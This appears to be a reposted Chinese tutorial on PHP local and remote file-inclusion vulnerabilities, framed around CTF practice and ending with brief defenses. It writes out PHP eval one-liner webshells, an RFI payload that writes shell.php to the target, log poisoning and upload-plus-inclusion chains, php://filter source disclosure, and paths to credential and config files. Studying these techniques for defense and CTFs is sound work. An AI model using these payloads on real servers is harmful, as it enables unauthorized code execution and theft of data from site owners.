文件包含漏洞

讲一句话木马的文件 嵌入到另一个文件中,这个文件可以是图片,可以是文本

文件包含函数(php)

include

require

include_once

require_once

漏洞整体的分类 

  本地文件包含

  远程文件包含漏洞

 

常见敏感文件

unix/linux 

  /etc/passwd 

      /usr/local/app/apache2/conf/httpd.conf   apache2默认配置文件

  /usr/local/app/apache2/conf/extra/httpd-vhosts.conf  虚拟网站设置

  /etc/my.cnf mysql的配置文件 

凯撒加密

 

文件包含与文件上传合集

      

已知:此处是一个文件包含漏洞,

              

 

  此处有一个文件上传漏洞

  1. 先从此处上传一个后缀名为图片格式的文件,此文件是php一句话木马修改后缀名得到的 
  2. 上传成功后会得到一个文件路径 :uploads/alert.png 意思是位于此文件夹下的uploads文件夹里
  3. 返回文件包含漏洞的链接,将后面的flag替换为上面的 uploads/alert.png 转到没有报错 
  4. 将此链接复制到菜刀里 ,连接成功!

            

 

http://xxxxxxx/?id=1   没有显示在哪个页面 一般可以还原为 http://xxxxxxxx/index.php?id=1 或者http://xxxxxxxxxxx/index.html?id=1

利用错误日志进行测试

首先构造一句话木马

http://xxxxx/<?php eval($_POST[value])?> 

由于浏览器解析的时候 会将特殊字符转义为URL编码 

GET 头部 修改为 <?php eval($_POST[value])?>,然后放包

发现页面报错,由此可判断 错误日志中已经有了这个木马,

找到日志的路径(路径先测试默认的 默认的不行就猜,或者利用phpinfo();查看各种配置信息)

远程文件包含 getshell

  条件 : allow_url_include = on 

  <?php eval($_POST[value])?>

远程文件包含自己写shell

fputs(x,y),fopen(x,y)

<?php

fputs(fopen("shell.php",w),"<?php eval($_POST[value])?>")  //这句话的意思是 在当前目录下 将<?php eval($_POST[value])?>这段代码 写入到shell.php这个文件中,若没有这个文件就先新建。

?>

将上面的一段代码复制到一个php文件中,放在自己的服务器上,利用目标服务器存在的远程文件包含漏洞,将此文件包含进去,目标服务器就会执行里面的代码,新建一个一句话木马文件,然后到shell这个文件的路径下 执行这个文件。

http://127.0.0.1:98/cs/main.php?page=php://filter/read=convert.base64-encode/resource=main.php 

将main.php的源码利用base64编码方式显现出来,获得一串字符串 将字符串选中 在hackbar中 找到 Encoding => Base64 Decode 点击 即可得到源码,main.php可以是任意php文件

 

system()里面的参数是系统命令

 

当然也可以这样做 页面会提示错误,但是查找目录会找到对应的文件。

 

如何防御呢?

1.allow_url_include=off

2.严格判断包含的参数是否外部可控

3.路径限制,限制被包含的文件只能在一个文件夹中,

....

附带一个练习题目的链接:http://ctf.bugku.com/challenges

转载于:https://www.cnblogs.com/Abelte/p/8933088.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值